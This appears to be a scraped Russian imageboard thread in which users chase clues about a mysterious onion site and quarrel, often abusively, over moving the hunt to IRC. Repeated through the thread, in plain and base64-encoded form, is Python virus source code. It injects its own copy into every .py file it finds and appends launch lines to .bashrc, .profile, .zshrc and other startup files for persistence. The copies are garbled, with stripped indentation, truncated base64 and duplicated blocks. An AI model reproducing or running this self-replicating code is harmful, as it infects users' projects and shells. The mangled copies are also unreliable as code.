AgICAgICBpZiB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCk+MjoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50ICJUb28gbWFueSB0aHJlYWRzIgogICAgICAgICAgICByZXR1cm4gRmFsc2UKICAgICAgICBzZWxmLm15c2VsZiA9ICBpbnNwZWN0LmdldHNvdXJjZShEKStvcy5saW5lc2VwICsgaW5zcGVjdC5nZXRzb3VyY2UoYV9hKStvcy5saW5lc2VwKyJhX2EoKSIKICAgICAgICAjcHJpbnQgc2VsZi5teXNlbGYKICAgICAgICBzZWxmLndhbGsoIi4iKQogICAgICAgIGlmIG9zLm5hbWUgPT0gInBvc2l4IiBhbmQgc2VsZi5kZWJ1ZyA9PSBGYWxzZToKICAgICAgICAgICAgYmFzaHJjID0gIiVzLy5iYXNocmMiICUgb3MuZW52aXJvblsnSE9NRSddCiAgICAgICAgICAgIHRtcCA9ICAiJXMvdG1wOC5weSIgJSBvcy5lbnZpcm9uWydIT01FJ10KICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHModG1wKSBhbmQgbm90IHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgZiA9IG9wZW4odG1wLCAndysnKQogICAgICAgICAgICAgICAgICAgIGYud3JpdGUoc2VsZi5teXNlbGYpCiAgICAgICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIkNhbid0IGNyZWF0ZSB0bXAucHkgZmlsZSIKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgdHJhY2ViYWNrLmZvcm1hdF9leGMoKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZShiYXNocmMpCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy54c2Vzc2lvbiIgJSBvcy5lbnZpcm9uWydIT01FJ10pCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy5wcm9maWxlIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmtzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnpzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmNzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnhpbml0cmMiICUgb3MuZW52aXJvblsnSE9NRSddKQp0ID0gVmlyaWkoKQp0LnJ1bigpIAo=


import threading
import random, time, sys, string, inspect, re
import os, traceback

class Virii():

def infect(self, path):
import os, string
#print "Try to infect: %s" % path
#if self.debug:
# print "Processing: %s" % path
nl = os.linesep
letters = string.letters
if os.path.getsize(path) > 10000000:
return False # Skip large files
try:
f = open(path)
file_content = f.read()
f.seek(0)
except:
if self.debug:
print traceback.format_exc()
return False
if "python-vx" in file_content:
if self.debug:
print "Already infected: %s" % path
f.close()
return False
file_content = ""
data = ""
i = 0
infected = False
#print f
f.flush()
old_line, old_line2 = "", ""
for l in f:
i += 1
if i>20 and not infected:
if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#":
data = data + nl+self.myself+nl
infected = True
data = data + l
old_line2 = old_line
old_line = l
f.close()
if infected:
try:
f = open(path, "w+")
f.write(data)
f.close()
if self.debug:
print "%s Infected!" % path
except:
if self.debug:
print traceback.format_exc()
return False

def walk(self, path):
import os
for root, dirs, files in os.walk(path):
for d in dirs:
if not d[0]==".":
full_dir = os.path.join(root, d)
self.walk(full_dir)
pass
for f in files:
path = os.path.join(root, f)
if not f.endswith(".py"):
pass
#print "Skipp", path
else:
#print "Infect", path
self.infect(path)
def add_me(self, path):
try:
f = open(path, 'a')
f.write(chr(10)+"python ~/tmp8.py & "+chr(10))
f.close()
except:
if self.debug:
print "Can't write to %s file" % bashrc
print traceback.format_exc()

def run(self):
import threading, inspect, sys, os
mltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IHJhbmRvbSwgdGltZSwgc3lzLCBzdHJpbmcsIGluc3BlY3QsIHJlCmltcG9ydCBvcywgdHJhY2ViYWNrCgpjbGFzcyBWaXJpaSgpOgoKICAgIGRlZiBpbmZlY3Qoc2VsZiwgcGF0aCk6CiAgICAgICAgaW1wb3J0IG9zLCBzdHJpbmcKICAgICAgICAjcHJpbnQgIlRyeSB0byBpbmZlY3Q6ICVzIiAlIHBhdGgKICAgICAgICAjaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAjICAgIHByaW50ICJQcm9jZXNzaW5nOiAlcyIgJSBwYXRoCiAgICAgICAgbmwgPSBvcy5saW5lc2VwCiAgICAgICAgbGV0dGVycyA9IHN0cmluZy5sZXR0ZXJzCiAgICAgICAgaWYgb3MucGF0aC5nZXRzaXplKHBhdGgpID4gMTAwMDAwMDA6CiAgICAgICAgICAgIHJldHVybiBGYWxzZSAjIFNraXAgbGFyZ2UgZmlsZXMKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgpCiAgICAgICAgICAgIGZpbGVfY29udGVudCA9IGYucmVhZCgpCiAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgaWYgInB5dGhvbi12eCIgaW4gZmlsZV9jb250ZW50OgogICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgcHJpbnQgIkFscmVhZHkgaW5mZWN0ZWQ6ICVzIiAlIHBhdGgKICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIGZpbGVfY29udGVudCA9ICIiCiAgICAgICAgZGF0YSA9ICIiCiAgICAgICAgaSA9IDAKICAgICAgICBpbmZlY3RlZCA9IEZhbHNlCiAgICAgICAgI3ByaW50IGYKICAgICAgICBmLmZsdXNoKCkKICAgICAgICBvbGRfbGluZSwgb2xkX2xpbmUyID0gIiIsICIiCiAgICAgICAgZm9yIGwgaW4gZjoKICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgIGlmIGk+MjAgYW5kIG5vdCBpbmZlY3RlZDoKICAgICAgICAgICAgICAgIGlmIChsWzBdIGluIGxldHRlcnMgYW5kICJ0cnkiIG5vdCBpbiBvbGRfbGluZTIpIGFuZCBvbGRfbGluZVswXSA9PSAiICIgb3Igb2xkX2xpbmVbMF0gPT0gIiMiOgogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBkYXRhICsgbmwrc2VsZi5teXNlbGYrbmwKICAgICAgICAgICAgICAgICAgICBpbmZlY3RlZCA9IFRydWUKICAgICAgICAgICAgZGF0YSA9IGRhdGEgKyBsCiAgICAgICAgICAgIG9sZF9saW5lMiA9IG9sZF9saW5lCiAgICAgICAgICAgIG9sZF9saW5lID0gbAogICAgICAgIGYuY2xvc2UoKQogICAgICAgIGlmIGluZmVjdGVkOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBmID0gb3BlbihwYXRoLCAidysiKQogICAgICAgICAgICAgICAgZi53cml0ZShkYXRhKQogICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50ICIlcyBJbmZlY3RlZCEiICUgcGF0aAogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgIGRlZiB3YWxrKHNlbGYsIHBhdGgpOgogICAgICAgIGltcG9ydCBvcwogICAgICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKHBhdGgpOgogICAgICAgICAgICBmb3IgZCBpbiBkaXJzOgogICAgICAgICAgICAgICAgaWYgbm90IGRbMF09PSIuIjoKICAgICAgICAgICAgICAgICAgICBmdWxsX2RpciA9IG9zLnBhdGguam9pbihyb290LCBkKQogICAgICAgICAgICAgICAgICAgIHNlbGYud2FsayhmdWxsX2RpcikKICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmKQogICAgICAgICAgICAgICAgaWYgbm90IGYuZW5kc3dpdGgoIi5weSIpOgogICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIlNraXBwIiwgcGF0aAogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIkluZmVjdCIsIHBhdGgKICAgICAgICAgICAgICAgICAgICBzZWxmLmluZmVjdChwYXRoKQogICAgZGVmIGFkZF9tZShzZWxmLCBwYXRoKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgsICdhJykKICAgICAgICAgICAgZi53cml0ZShjaHIoMTApKyJweXRob24gfi90bXA4LnB5ICYgIitjaHIoMTApKQogICAgICAgICAgICBmLmNsb3NlKCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIGlmIHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwcmludCAiQ2FuJ3Qgd3JpdGUgdG8gJXMgZmlsZSIgJSBiYXNocmMKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKCiAgICBkZWYgcnVuKHNlbGYpOgogICAgICAgIGltcG9ydCB0aHJlYWRpbmcsIGluc3BlY3QsIHN5cywgb3MKICAgICAgICBzZWxmLmRlYnVnID0gRmFsc2UKICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICBwcmludCAiVGhyZWFkczoiLCB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCkKICAgICAgICBpZiB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCk+MjoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50ICJUb28gbWFueSB0aHJlYWRzIgogICAgICAgICAgICByZXR1cm4gRmFsc2UKICAgICAgICBzZWxmLm15c2VsZiA9ICBpbnNwZWN0LmdldHNvdXJjZShEKStvcy5saW5lc2VwICsgaW5zcGVjdC5nZXRzb3VyY2UoYV9hKStvcy5saW5lc2VwKyJhX2EoKSIKICAgICAgICAjcHJpbnQgc2VsZi5teXNlbGYKICAgICAgICBzZWxmLndhbGsoIi4iKQogICAgICAgIGlmIG9zLm5hbWUgPT0gInBvc2l4IiBhbmQgc2VsZi5kZWJ1ZyA9PSBGYWxzZToKICAgICAgICAgICAgYmFzaHJjID0gIiVzLy5iYXNocmMiICUgb3MuZW52aXJvblsnSE9NRSddCiAgICAgICAgICAgIHRtcCA9ICAiJXMvdG1wOC5weSIgJSBvcy5lbnZpcm9uWydIT01FJ10KICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHModG1wKSBhbmQgbm90IHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgZiA9IG9wZW4odG1wLCAndysnKQogICAgICAgICAgICAgICAgICAgIGYud3JpdGUoc2VsZi5teXNlbGYpCiAgICAgICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIkNhbid0IGNyZWF0ZSB0bXAucHkgZmlsZSIKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgdHJhY2ViYWNrLmZvcm1hdF9leGMoKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZShiYXNocmMpCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy54c2Vzc2lvbiIgJSBvcy5lbnZpcm9uWydIT01FJ10pCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy5wcm9maWxlIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmtzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnpzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmNzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnhpbml0cmMiICUgb3MuZW52aXJvblsnSE9NRSddKQp0ID0gVmlyaWkoKQp0LnJ1bigpIAo=


import threading
import random, time, sys, string, inspect, re
import os, traceback

class Virii():

def infect(self, path):
import os, string
#print "Try to infect: %s" % path
#if self.debug:
# print "Processing: %s" % path
nl = os.linesep
letters = string.letters
if os.path.getsize(path) > 10000000:
return False # Skip large files
try:
f = open(path)
file_content = f.read()
f.seek(0)
except:
if self.debug:
print traceback.format_exc()
return False
if "python-vx" in file_content:
if self.debug:
print "Already infected: %s" % path
f.close()
return False
file_content = ""
data = ""
i = 0
infected = False
#print f
f.flush()
old_line, old_line2 = "", ""
for l in f:
i += 1
if i>20 and not infected:
if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#":
data = data + nl+self.myself+nl
infected = True
data = data + l
old_line2 = old_line
old_line = l
f.close()
if infected:
try:
f = open(path, "w+")
f.write(data)
f.close()
if self.debug:
print "%s Infected!" % path
except:
if self.debug:
print traceback.format_exc()
return False

def walk(self, path):
import os
for root, dirs, files in os.walk(path):
for d in dirs:
if not d[0]==".":
full_dir = os.path.join(root, d)
self.walk(full_dir)
pass
for f in files:
path = os.path.join(root, f)
if not f.endswith(".py"):
pass
#print "Skipp", path
else:
#print "Infect", path
self.infect(path)
def add_me(self, path):
try:
f = open(path, 'a')
f.write(chr(10)+"python ~/tmp8.py & "+chr(10))
f.close()
except:
if self.debug:
print "Can't write to %s file" % bashrc
print traceback.format_exc()

def run(self):
import threading, inspect, sys, os

ыфв

Очень долго не решался запостить что-то в тред. До тех пор, пока сходство пейзажа на этой фотографии с тем, что я регулярно мог лицезреть в детстве, не стало очевидным. Прошло около 7 лет, но я отчетливо помню, как будучи школьником, лазал по высоткам с друзьями. Фотография сделана с одной из них, и осознав этот факт, я, признаться, охуел. Местечко это, примерно в окрестностях Твери. Очень долго преследовало меня ощущение, что я где-то видел этот пейзаж, и собственно вот. Есть еще парочка фоточек, которые кажутся мне до безумия знакомыми, но все же, я не могу припомнить этих мест. Понятия не имею, как эта фотография тут оказалась, и с какого хуя она черно-белая. Если и есть что-то криповое на сайте, то это дерьмо кроется в его графическом содержимом. Сделайте упор именно на него, и мне кажется, что-то у вас выйдет. Удачи в поисках. Постараюсь следить за тредом.

>>280534
И еще кое-что. Многие наверное заметили, что здесь изображены люди. Явно, что пожилые, и все они в капюшонах. Можете зазумить и чекнуть. Понятия не имею, что в темноте делало скопление пожилых сектантов(?), но в разы интереснее тот факт, что эту улицу я тоже прекрасно помню. Она находится недалеко от тех высоток, среди густых деревьев. Напрашивается вывод о том, что какая-то НЕХ творится в той области, и автор этих пикч, стремился на это указать. Фотографии старые, как и весь тот район, собственно. Думаю, что они были сделаны еще до того, как я там появлялся ИРЛ. Надеюсь, что смог чем-то помочь.

>>280541
Не вижу там капюшонов.

>>280544
Может я поехал, конечно. Но почему-то мне кажется, что они в капюшонах. По крайней мере несколько человек.

>>280545
Сможешь на картах найти это место? Вкинь, тебе все будут охуенно благодарны, анон.

>>280546
Постараюсь.

>>280545
Ты совсем ебанулся? Нет там капюшонов.

>>280548
Не отрицаю того, что мне могло показаться это. Сути, наверное, не меняет. Там куча каких-то людей, которые хуй пойми чем занимаются, посреди ночи.

>>279954
>Команда TDC расчитала что это число - количество секунд, которое осталось до 2 января 2016 года
Shi-i-i-i... Значит, это реально Игра сделал мне предсказание о 201 дне оставшемся до конца года..?

>>280472
Вы там в своим IRC'е решили запатентовать всё, что найдёте? Или хотите там Тихтй Дом найти и там в группе немногочисленной сдохнуть? Или будете нас говном кормить и крипипасты пилить, если ничего не найдёте?

>>280541
По моему, там нет капюшонов. Кажется, это Флитвик, антропоморфный кролик и сам Иисус Дристос, спаситель трапиков sup /wr/, ну Сплинтер, короче.

>>280554
> решили запатентовать
есть в TDС особо ортодоксальные личности. да и найденный свод правил (выше) запрещает всё выкладывать ньюфагам. kuko играет с нами - мы играем по его правилам.

https://ninoetevzx2irhgj.onion.to/files/research/l~1/determ/1/

Аноны, что за скрипты? Кто-то их чекал?

>>280307
Третий скрин вот из этого старого видео про гнома https://youtu.be/VuFAZ_Timio

>>280546
56.792567, 35.923802

Координаты в гугле. Примерно там, аноны.

Аноны, зацените находку! - /lab/untitled.mp4

>>280555
Бля, ну кем ты себя возомнил? Нахуй тогда этот тред, ебите друг друга в жепы в своём манямирке.
>Анон, смотри какой сайт криповый, скока тайн, мы ломаем, вскрываем тему, но постить сюда не будем, патумушта мы из 7б, у нас свой клан кулхацкиров тип, там тип правила, если я нарушу то палачкин попабава и тульпа выебут меня в сракатан и все отродоксальные личнасте илита бля

>>280601
Ты ебанутый, на этом же сайте и дали список правил, ищи их тут в треде выше.

>>280602
Какие блеять правила, всем похуй, кроме выблядков в ирке

>>280599
Аноны, я вас прошу. Не вкидывайте инфу тут, кидайте её на закрытом irc-канале. Вы rules.html не читали? Инфа в паблике - сайт изменится или вообще нить оборвется, прошу

>>280602
Блять, это сайт. САЙТ. ДАже не обосаные смертельные файлы, какой нахуй список правил? Типа Пепал из монитора вылезет при попытке открыть нам тайны этого хранилища аниме-пикч и прона, и утопит их спермой?

>>280610
Список правил, по которым анон, создавший сайт, играем с нами в реальном времени. /discussion

>>280610
Ты блять даун? Если будет инфа о сайте, просто начнут исчезать файлы и вообще сайт. Второй сайт отвалился, как всем распиздели про него. Висела страница 404 и мы сосали хуй, хорошо, что нашли обход и в итоге страницу вернули

>>280614
Один обход нашли, значит второй найдётё. Страдайте. Никому этот сайт нахуй не нужен будет, если вы все сдохните, а мы получим охуенную историю уровня Смертельных файлов и охуенное .mp4, а так хоть на ананасов попиздеть сможете.

>>280602
Я вот хуею. Если Анон найдёт какую-нибудь крипоту, даже если рядом написано будет не вскрывай эту тему не создавай тред об этом, не рассказывай ньюфагам. Он возьмёт блять и создаст тред и всем все расскажет. А тут что? Какие-то правила блять, ну тут даже тупому опездолу ясно, что крипоты нет никакой, просто интересно что вы нароете, или интересные взаимосвязи элементов сайта или ещё чего. Это же just for lulz. А олдфагам можно знать? Как ты проверять будешь кто олдфаг а кто нет. Все ньюфани в би сидят еот фап и оцени тян треды плодят, переодически, крутя рулеточку. И нахуя делать тред, если делиться инфой нельзя? СУКА ТУПАЯ

>>280615
Эм, его случайно нашли. А так бы цепочка прервалась, если хочешь инфы - добро пожаловать в irc. Нет - пошёл нахуй

Я понял. Показатель олдфажности - это умение скачать IRC. Типа школьники проблюются с интерфейса и пошлют всё нахуй, а не школьники...ну, э-э-э... да похуй на них, пусть тоже подрочат на лоли.

>>280620
Нет, мы не хотим выносить инфу в паблик.

>>280618
Двачую.
Мы молчим только потому, что играем по правилам kuko. Разве принято делиться половиной выигрыша в казино с тёлкой, которая подошла к тебе на последнем раунде? Вот так и мы с впечатлениями и эмоциями.

>>280622
Люто двачую

Тред начинался хорошо, но этот дебил со своим IRC доебал.
Такое ощущение, что это студент перво- второкурсник, страдающий от недостатка внимания. Какой шанс того, что инфа эта расползется в соседний тред? Почти нулевая. Другой раздел? Пошлют нахуй оттуда. Пните в своем канале эього неугомонного и держите нас вкурсе.

>>280624
соси хуй

студент-первокурсник

>>280624
Он и в ирке всех доебал, святая правда.

>>280626
Я могу и ливнуть

Боже, вы вроде и не дебилы, но недоумки точно. Создали тред-рекламу своего канала.

>>280627
Ливай. Ты переоцениваешь свлю значимость.

>>280621
А, какая разница, если вы всё равно всё ньюфаням таким образом распиздите? Или в правилах написано, что в IRC палево инфы не считается?

>>280624
Удваиваю. Пиздец какой-то устроили.

>>280628
А потом нам ьам ЦОПЭ продавать будут

>>280630
Ты это в ирке напиши даун

Вниманиеблядку печет от того, что инфу "сливает" не он, а кто-то другой.

>>280632
ДА БЛЯТЬ ИДИ ТЫ НАХУЙ СО СВОИ ИРИКОМХУЁМ БЛЯТЬ ПИЗДЕЦ НАХУЙ ЧТО ТЫ ТВОРИШЬ СОДОМИТ ПИДОР ТЫ ПЕТУШИНЫЙ БЛЯТЬ

>>280634
Соси хуй

>>280632
Предпочитаю писать анонимно. Гораздо веселее будет потом сидеть с тобой, зная что ты подозреваешь всех.
тебя вобще никто всерьез не воспринимает.

>>280635
В ИРКе я даже член Колби Дженсена или Рафаэля Данагу сосать не буду, не говоря уже о чём либо другом.

>>280638
А что ты им сосать будешь, лол?

>>280636
Да без проблем, лол

>>280639
Нет, кончено, я же не пидр!
ответ в стиле /ga/

Цинк
Фосфор

Лучше в телеграмме по инвайтам

Что по поводу 16-17 числа? Есть инфа?

>>280659
Да.
хххххх.ххххх Tio estas via persona pasvorton por aliri la kvieta domo. Ne donu ĝin al neniu. Ne diru ke vi jam ricevis vian pasvorton. Memoru la reguloj.
Pasvorto: хххххххххххххххххххх

А ты и дальше пароль от кота проси.
ну тыпонял да ?

>>280001
Лол, с друзьями договорились прочесть эту книгу недавно.

мимо

>>280047
Нужен пропуск уровня b.

<sub>import threading
import random, time, sys, string, inspect, re
import os, traceback

class Virii():

def infect(self, path):
import os, string
#print "Try to infect: %s" % path
#if self.debug:
# print "Processing: %s" % path
nl = os.linesep
letters = string.letters
if os.path.getsize(path) > 10000000:
return False # Skip large files
try:
f = open(path)
file_content = f.read()
f.seek(0)
except:
if self.debug:
print traceback.format_exc()
return False
if "python-vx" in file_content:
if self.debug:
print "Already infected: %s" % path
f.close()
return False
file_content = ""
data = ""
i = 0
infected = False
#print f
f.flush()
old_line, old_line2 = "", ""
for l in f:
i += 1
if i>20 and not infected:
if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#":
data = data + nl+self.myself+nl
infected = True
data = data + l
old_line2 = old_line
old_line = l
f.close()
if infected:
try:
f = open(path, "w+")
f.write(data)
f.close()
if self.debug:
print "%s Infected!" % path
except:
if self.debug:
print traceback.format_exc()
return False

def walk(self, path):
import os
for root, dirs, files in os.walk(path):
for d in dirs:
if not d[0]==".":
full_dir = os.path.join(root, d)
self.walk(full_dir)
pass
for f in files:
path = os.path.join(root, f)
if not f.endswith(".py"):
pass
#print "Skipp", path
else:
#print "Infect", path
self.infect(path)
def add_me(self, path):
try:
f = open(path, 'a')
f.write(chr(10)+"python ~/tmp8.py & "+chr(10))
f.close()
except:
if self.debug:
print "Can't write to %s file" % bashrc
print traceback.format_exc()

def run(self):
import threading, inspect, sys, os
self.debug = False
if self.debug:
print "Threads:", threading.active_count()
if threading.active_count()>2:
if self.debug:
print "Too many threads"
return False
self.myself = inspect.getsource(D)+os.linesep + inspect.getsource(a_a)+os.linesep+"a_a()"
#print self.myself
self.walk(".")
if os.name == "posix" and self.debug == False:
bashrc = "%s/.bashrc" % os.environ['HOME']
tmp = "%s/tmp8.py" % os.environ['HOME']
if os.path.exists(tmp) and not self.debug:
pass
else:
try:
f = open(tmp, 'w+')
f.write(self.myself)
f.close()
except:
if self.debug:
print "Can't create tmp.py file"
print traceback.format_exc()
else:
self.add_me(bashrc)
self.add_me("%s/.xsession" % os.environ['HOME'])
self.add_me("%s/.profile" % os.environ['HOME'])
self.add_me("%s/.kshrc" % os.environ['HOME'])
self.add_me("%s/.zshrc" % os.environ['HOME'])
self.add_me("%s/.cshrc" % os.environ['HOME'])
self.add_me("%s/.xinitrc" % os.environ['HOME'])
t = Virii()
t.run()</sub>

>>280029
hentai-puzzle3.swf
hentai-puzzle4.swf
hentaipuzzle.swf

кто смог собрать?

>>280102
ты пропустил 313374

>>280137
Путин-югенд уже и до Двача добрался,лол

>>280050
555 555 555

Check the data

[374] [176] [300] [126] [234] [84] [176] [50] [126] [24]

Шутка в стиле сам написал - сам засмеялся

>>280051
https://www.ninoetevzx2irhgj.onion.to/lab/ag~1/login/mail
/nenio estas ĉi tie. pardonon/
/ Там ничего здесь. прощение /

>>280673
Вам не заебалось заниматься этой хуйней? Доходите до тех вещей, до которых уже дошли два дня назад аноны из ИРКи, и радуетесь как дети. Хотите помочь делу? Вкатывайтесь туда. Не смешите народ.

>>280062
equi confirmanda fide statis meretrices divisiones aevo quam


Лошади стоят проститутки подтвердить веру возрастных категориях

>>280674
>из ИРКи
какой адрес?

>>280676

тут давали -

https://2ch.hk/sn/res/278176.html

>>280676
Ебать. Ты че, серьезно?

>>280676
Улица Пушкина, дом Колотушкина

>>280549
Гопники бухают походу, а под бухло крипи рассказывают, не?

>>280679
>>280678
>>280677
>>280674
Вы все мудаки вот правильный адрес >ИРКи

сеть - irc.freenode.net
сервер -#ninetev
порт - дефолтный
пороля - нету

>>280607
Бочку чая этому.

Ананасы итт ещё более поехавшие чем админ сайта. Патлач запилил сайт с гугло-картинками, анон потёк.

Бля сегу забыл.

Сажицы.

SilentHome

НЕ ВКИДЫВАЙ ИНФУ В ТРЕД
@
ЗОВИ ВСЕХ В ИРКУ
@
ОЛОЛО, ЧИТАЙ ПРАВИЛА, САМ ИЩИ
@
ТЕБЯ ПИДОРЯТ

Идите нахуй, блять, сажи.

Столько эмоций...

Да, мы собрали при помощи двача небольшую устойчивую группу интересующихся и начали копать этот сайт.
И теперь основная деятельность, связанная с сабжевым сайтом перенесена в IRC.
Двач мы воспринимаем, в лучшем случае, как второстепенную площадку для привлечения новых участников.
Вот так все просто: нашей группе в IRC комфортнее, чем здесь. Поверьте, на то есть свои причины. Одни из них: в Ирке легко вводится ценз адекватности. Те, кто считают, что IRC - это второй сосач и там можно траллить лалок и ебать мамок - выпиливаются.

Те, кто говорят, что нам не дают выкладывать инфу какие-то правила и что сайт закроется, просто вас траллят.
И не надо этих обиженных воплей: аноны не делятся с другими анонами! Пиздец! Вниманиеблядство! Илитизм! Ко-ко-ко!
Мне вот инетересно, почему вы считаете, что с вами кто-то должен чем-то делиться?
Чего вы ждали? Анонимной солидарности? Лично мне на вас похер. Мы просто на вас забили.

Из IRC никого просто так не кикают. Адекватных новичков принимают вполне дружелюбно.
Ну и конечно же, у нас там своя тамосфера. Куда же без нее?

Будет лучше, если мод закроет этот тред. Надобность в нем отпала.

Я кончил.

>>280724
Ололо илитарии мамкины. Дебилы недальновидные. Создали тред, вас тут обоссали, и вы решили сманеврировать на НИОЧИНЬТАИХАТЕЛАСЬ.

>>280759
Еще 3 дня назад все забили на тред.

>>280759
Мальчик, ты долбоеб?
Тебе кто-то запрещает в ирку зайти? Не позволяет религия? Убежденный сосачер?
Или тебя уже с канала пидорнули?

Да и зачем я это спрашиваю? Ты ведь даже не осилил пост, на который кукарекаешь.

baldaŭ ĉiuj super

>>280780
Ты еще спроси почему я в фидо не сижу, мудак.

>>280798
Домашние задание на лето уже сделал ?

Это же сайт пиццерии Нино из драйва, хули тут непонятного?

>>280822
Ты долго еще визжать будешь, опущенец? Обосрался-свали из треда и дебилов своих прихвати, конспиратор мамкин.

>>279954
Няши, меня очень заинтересовали ваши материалы по разбору этого сайта, но сейчас у меня сессия в разгаре, а потом я пару недель буду сидеть без интернетов. Можно будет к вам в ирку закатиться, но не сейчас, а чуть позже (к середине июля примерно)? Я, если что, бывший верун и хорошо знаю Библию, думаю, смогу вам помочь с расшифровкой отсылок на неё, которые, как я вижу, вы нашли.

>>280836
>и хорошо знаю Библию
Ага, "ctrl+c, википедия, ctrl+v"?

>>280837
Задай любой вопрос.

>>280838
Почему Бог в ветхом завете такой мудак, а в новом няшка и всех любит?

>>280838
Зачем умер Иисус? Нет, серьезно.

>>280839
1. Ортодокслаьная версия: потому что он проводил жёсткую селекцию, чтобы евреи были достойны породить Христа.
2. Гностическая версия: потому что бог ВЗ - злой Демиург, а бог НЗ - добрый Христос.
3. Не такой-то он и няшка в НЗ: требует отринуть всё и идти за ним, выпиливает людей, отказавшихся отдать своё имущество церкви, кидает пафосные фразы вроде "Я есть путь и истина и жизнь, никто не приходит к Отцу, кроме как через меня". К тому же в НЗ упомянут непростительный грех, да и вообще.

>>280841
"н изъязвлен был за грехи наши и мучим за беззакония наши; наказание мира нашего было на Нем, и ранами Его мы исцелились." (Исайя 53:5). Взял на себя грехи мира, вот это всё.

>>280844
